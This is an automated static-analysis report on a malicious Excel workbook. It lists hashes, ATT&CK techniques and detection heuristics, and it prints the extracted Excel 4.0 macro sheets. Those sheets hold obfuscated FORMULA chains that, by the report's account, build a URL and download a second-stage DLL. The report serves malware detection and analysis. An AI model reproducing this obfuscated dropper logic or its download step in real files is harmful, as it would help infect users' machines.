Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c00fe654f7bc6d9d…

MALICIOUS

Office (OOXML)

210.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-26
MD5: ad58dd8b5a70a980ede60f2ad0200bc0 SHA-1: 0801c4208ddfca10be06cd7402916a1ea9f36e44 SHA-256: c00fe654f7bc6d9d3ef0487618e34b5fdebfd220bad645875eba0fdb26d17139
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains Excel 4.0 macro sheets with defined names and dangerous functions like FORMULA and FORMULA.FILL, indicating malicious intent. The macros construct a URL by concatenating strings: "http"&"s://"&"185.8.1.115.253/ytr.dll", which is used to download a file to "C:\Datop\test.test". This suggests the primary function is to download and execute a second-stage payload.

Heuristics 5

  • Excel 4.0 macro sheet (8 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, FORMULA.FILL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 11 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 2884 bytes
SHA-256: f59fa88f2d194a4d340877876ab75cc4a85d08cdb88ed243399864daf048c02e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0400-000000000000}"><dimension ref="B18"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"><selection activeCell="B1" sqref="B1"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="6.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="6.140625" style="2"/></cols><sheetData><row r="18" spans="2:2" x14ac:dyDescent="0.25"><c r="B18" s="2" t="b"><f>"&amp;"="&amp;"=FORMULA()="&amp;"=FORMULA.FILL(Макрос2!F9,Макрос3!H4)="&amp;"=FORMULA(Макрос4!I6,Макрос5!I6)=FORMULA(Макрос1!D13,Макрос2!B2)=FORMULA(Макрос3!C11,Макрос4!A9)="&amp;"=FORMULA(Макрос6!D8,Макрос7!I5)=FORMULA('Shq1'!D43&amp;'Shq1'!D45&amp;Макрос3!H4&amp;'Shq1'!D48&amp;'Shq1'!D48&amp;'Shq1'!D50&amp;'Shq2'!C5&amp;Макрос5!I6&amp;'Shq3'!E7&amp;Макрос5!I6&amp;'Shq1'!E2&amp;'Shq1'!B12&amp;'Shq1'!F9&amp;'Shq1'!E2&amp;'Shq1'!R7&amp;'Shq1'!J11&amp;Макрос5!I6&amp;'Shq1'!E2&amp;'Shq1'!C15&amp;'Shq1'!F9&amp;'Shq1'!M1&amp;Макрос5!I6&amp;'Shq3'!G4,B60)=FORMULA()=FORMULA('Shq1'!D43&amp;'Shq1'!D45&amp;Макрос3!H4&amp;'Shq1'!D48&amp;'Shq1'!D48&amp;'Shq1'!D50&amp;'Shq1'!F34&amp;'Shq1'!L9&amp;Макрос5!I6&amp;'Shq1'!A1&amp;'Shq1'!K14&amp;'Shq1'!M1&amp;'Shq1'!A11&amp;'Shq1'!F34&amp;'Shq1'!F37&amp;'Shq2'!S4&amp;Макрос4!A9&amp;'Shq2'!M5&amp;Макрос2!B2&amp;'Shq3'!Q8&amp;Макрос7!I5&amp;Макрос7!I5&amp;'Shq2'!I12&amp;'Shq3'!O3,B62)=FORMULA(Макрос5!C9,Макрос1!I5)="&amp;"=FORMULA('Shq1'!D43&amp;Макрос1!I5&amp;'Shq1'!P36&amp;Макрос1!I5&amp;'Shq1'!P38&amp;'Shq1'!D50&amp;'Shq1'!F34&amp;'Shq1'!C8&amp;'Shq2'!O12&amp;'Shq1'!C8&amp;'Shq1'!I1&amp;'Shq1'!K5&amp;'Shq1'!G77&amp;'Shq2'!R15&amp;'Shq1'!G77&amp;'Shq2'!T9,B64)=FORMULA('Shq1'!D43&amp;'Shq1'!K122&amp;'Shq1'!K124&amp;'Shq1'!K126&amp;'Shq1'!K128&amp;'Shq1'!K122&amp;'Shq1'!J130&amp;'Shq1'!D50&amp;'Shq1'!D51,B70)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1277 bytes
SHA-256: 68031f6c02089036adf57e2ef01d881dabf389a96bb176fb86695c0fb7deda50
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0500-000000000000}"><dimension ref="D13"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="13" spans="4:4" x14ac:dyDescent="0.25"><c r="D13" s="1" t="str"><f>CHAR('Shq1'!F69)</f><v>e</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1274 bytes
SHA-256: 523d7bbd4547bd1e2a997ca4f87318b3e43146ca792ad5f6646974573666249d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0600-000000000000}"><dimension ref="F9"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="6:6" x14ac:dyDescent="0.25"><c r="F9" s="1" t="str"><f>CHAR('Shq1'!K70)</f><v>A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1277 bytes
SHA-256: 8fc42a49b46107122818a29c3c788c5f4da7f98f832b7cd7336c44079bff7445
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0700-000000000000}"><dimension ref="C11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="11" spans="3:3" x14ac:dyDescent="0.25"><c r="C11" s="1" t="str"><f>CHAR('Shq1'!O66)</f><v>o</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet4.xml 1274 bytes
SHA-256: 0cc34d68a6dfc34c01213dcb296c84b6bcffbf2a1ff4f58b2391e1bc34549152
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0800-000000000000}"><dimension ref="I6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="6" spans="9:9" x14ac:dyDescent="0.25"><c r="I6" s="1" t="str"><f>CHAR('Shq1'!R65)</f><v>r</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet5.xml 1274 bytes
SHA-256: d31f8e28051ceb3adffc3dfc4d67855b80aa09d8e814e84d0fb71fb149ab54a1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0900-000000000000}"><dimension ref="C9"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="3:3" x14ac:dyDescent="0.25"><c r="C9" s="1" t="str"><f>CHAR('Shq1'!C68)</f><v>E</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet6.xml 1274 bytes
SHA-256: e6c5b77b0a9af449bba825200a075de48e1db4999bcd20622552c6cfac36a13b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0A00-000000000000}"><dimension ref="D8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="4:4" x14ac:dyDescent="0.25"><c r="D8" s="1" t="str"><f>CHAR('Shq1'!S70)</f><v>C</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet7.xml 1152 bytes
SHA-256: 326f37fcf446b146631e154b00af2be442cc6cbb5880bfbe76c0a5fcd0559a4c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0B00-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.